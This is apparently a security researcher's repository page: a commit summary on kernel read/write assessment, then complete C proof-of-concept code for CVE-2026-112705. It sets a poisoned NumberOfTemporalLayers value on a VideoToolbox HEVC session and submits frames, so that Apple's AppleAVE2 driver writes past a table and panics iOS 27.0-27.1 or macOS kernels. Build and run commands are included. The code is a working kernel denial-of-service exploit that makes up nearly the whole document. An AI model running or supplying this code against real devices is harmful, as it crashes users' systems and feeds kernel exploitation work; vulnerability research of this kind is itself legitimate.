- docs/KERNEL-RW-ASSESSMENT.md: per-primitive verdict. None of the six kernel-reachable bugs supplies both address and value control; the chain requirements (KASLR, grooming, reclaim, gadget, PAC/PPL) are listed per entry - CVE-2026-113910.c: leak collector — 8 chunk configs x --loop, canonical pointer classification (kernel-text / kernel-data / kernel-other), --keep raw dump, --verbose; candidates are printed, never dereferenced - 112705 / 65385 / 112696: explicit primitive-limit headers (DoS, fixed-offset write without leak, honest negative); no blind writes - README: link the assessment and the new 113910 receipt (0 candidates, 16 runs)
135 lines
5.4 KiB
C
135 lines
5.4 KiB
C
// ave.ntl · AppleAVE2 · VideoToolbox HEVC · CVE-2026-112705
|
|
// C twin of the Swift POC. Full trigger: HEVC session, private usage/rate-control
|
|
// selectors, poisoned NumberOfTemporalLayers, one IOSurface frame submit.
|
|
//
|
|
// Setting 16463 and encoding once makes AppleAVE2 write past a fixed-size table.
|
|
// On iOS 27.0-27.1 the kernel data-aborts on the first frame; 16462 survives.
|
|
// iOS 27.2 refuses the property with -12900.
|
|
// macOS runs the same driver: the encode is gated behind --force-host because it can
|
|
// panic the host kernel.
|
|
//
|
|
// Primitive limit: the write is a constant fill at a fixed offset. There is no
|
|
// address control and no value control, so this is a DoS primitive, not an
|
|
// arbitrary kernel read/write. See docs/KERNEL-RW-ASSESSMENT.md.
|
|
//
|
|
// Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
|
|
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
|
|
// Run: ./cve-2026-112705 [layers] [--force-host]
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <TargetConditionals.h>
|
|
#include <VideoToolbox/VideoToolbox.h>
|
|
#include <CoreMedia/CoreMedia.h>
|
|
#include <CoreVideo/CoreVideo.h>
|
|
#include <CoreFoundation/CoreFoundation.h>
|
|
|
|
static int32_t set_prop(VTCompressionSessionRef s, const char *key, CFTypeRef value) {
|
|
CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
|
|
int32_t st = VTSessionSetProperty(s, k, value);
|
|
CFRelease(k);
|
|
return st;
|
|
}
|
|
|
|
static void print_readback(VTCompressionSessionRef s, const char *key) {
|
|
CFStringRef k = CFStringCreateWithCString(NULL, key, kCFStringEncodingUTF8);
|
|
CFTypeRef out = NULL;
|
|
int32_t st = VTSessionCopyProperty(s, k, kCFAllocatorDefault, &out);
|
|
if (st == 0 && out) {
|
|
CFStringRef d = CFCopyDescription(out);
|
|
char buf[256] = {0};
|
|
if (d) {
|
|
CFStringGetCString(d, buf, sizeof(buf), kCFStringEncodingUTF8);
|
|
CFRelease(d);
|
|
}
|
|
printf("%s\n", buf);
|
|
CFRelease(out);
|
|
} else {
|
|
printf("copyErr=%d\n", st);
|
|
}
|
|
CFRelease(k);
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
int layers = 16463;
|
|
int force_host = 0;
|
|
for (int i = 1; i < argc; i++) {
|
|
if (strcmp(argv[i], "--force-host") == 0) force_host = 1;
|
|
else if (atoi(argv[i]) > 0) layers = atoi(argv[i]);
|
|
}
|
|
|
|
VTCompressionSessionRef session = NULL;
|
|
OSStatus create = VTCompressionSessionCreate(kCFAllocatorDefault, 1280, 720,
|
|
kCMVideoCodecType_HEVC, NULL, NULL,
|
|
NULL, NULL, NULL, &session);
|
|
printf("VTCompressionSessionCreate(hvc1) status=%d\n", (int)create);
|
|
if (create != 0 || !session) return 1;
|
|
|
|
int one = 1, twenty = 20;
|
|
CFNumberRef n1 = CFNumberCreate(NULL, kCFNumberIntType, &one);
|
|
CFNumberRef n20 = CFNumberCreate(NULL, kCFNumberIntType, &twenty);
|
|
int32_t su = set_prop(session, "EncoderUsage", n1);
|
|
int32_t sr = set_prop(session, "RCMode", n20);
|
|
CFRelease(n1);
|
|
CFRelease(n20);
|
|
set_prop(session, "RealTime", kCFBooleanFalse);
|
|
printf("EncoderUsage=%d RCMode=%d\n", su, sr);
|
|
|
|
CFNumberRef n = CFNumberCreate(NULL, kCFNumberIntType, &layers);
|
|
int32_t sn = set_prop(session, "NumberOfTemporalLayers", n);
|
|
CFRelease(n);
|
|
printf("NumberOfTemporalLayers=%d status=%d\n", layers, sn);
|
|
printf("readback: ");
|
|
print_readback(session, "NumberOfTemporalLayers");
|
|
|
|
if (sn != 0) {
|
|
printf("property refused — fixed build (27.2+) or no AVE2 property here\n");
|
|
VTCompressionSessionInvalidate(session);
|
|
CFRelease(session);
|
|
return 0;
|
|
}
|
|
|
|
#if TARGET_OS_OSX
|
|
if (!force_host) {
|
|
printf("host guard: property accepted but no frame submitted.\n");
|
|
printf("a frame submit here can panic the macOS kernel through AppleAVE2.\n");
|
|
printf("re-run with --force-host on a disposable machine to fire it.\n");
|
|
VTCompressionSessionInvalidate(session);
|
|
CFRelease(session);
|
|
return 0;
|
|
}
|
|
#endif
|
|
|
|
CFDictionaryRef empty = CFDictionaryCreate(NULL, NULL, NULL, 0,
|
|
&kCFTypeDictionaryKeyCallBacks,
|
|
&kCFTypeDictionaryValueCallBacks);
|
|
CFDictionaryRef attrs = CFDictionaryCreate(NULL,
|
|
(const void **)&kCVPixelBufferIOSurfacePropertiesKey, (const void **)&empty, 1,
|
|
&kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
|
CVPixelBufferRef pb = NULL;
|
|
CVReturn pc = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
|
|
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
|
|
attrs, &pb);
|
|
printf("CVPixelBufferCreate status=%d\n", pc);
|
|
CFRelease(attrs);
|
|
CFRelease(empty);
|
|
if (pc != 0 || !pb) { VTCompressionSessionInvalidate(session); CFRelease(session); return 1; }
|
|
|
|
for (int i = 0; i < 4; i++) {
|
|
CMTime pts = CMTimeMake(i, 30);
|
|
VTEncodeInfoFlags flags = 0;
|
|
OSStatus st = VTCompressionSessionEncodeFrame(session, pb, pts, kCMTimeInvalid,
|
|
NULL, NULL, &flags);
|
|
printf("encode[%d] status=%d\n", i, (int)st);
|
|
if (st != 0) break;
|
|
}
|
|
VTCompressionSessionCompleteFrames(session, kCMTimeInvalid);
|
|
printf("survived — this build does not panic\n");
|
|
|
|
CVPixelBufferRelease(pb);
|
|
VTCompressionSessionInvalidate(session);
|
|
CFRelease(session);
|
|
return 0;
|
|
}
|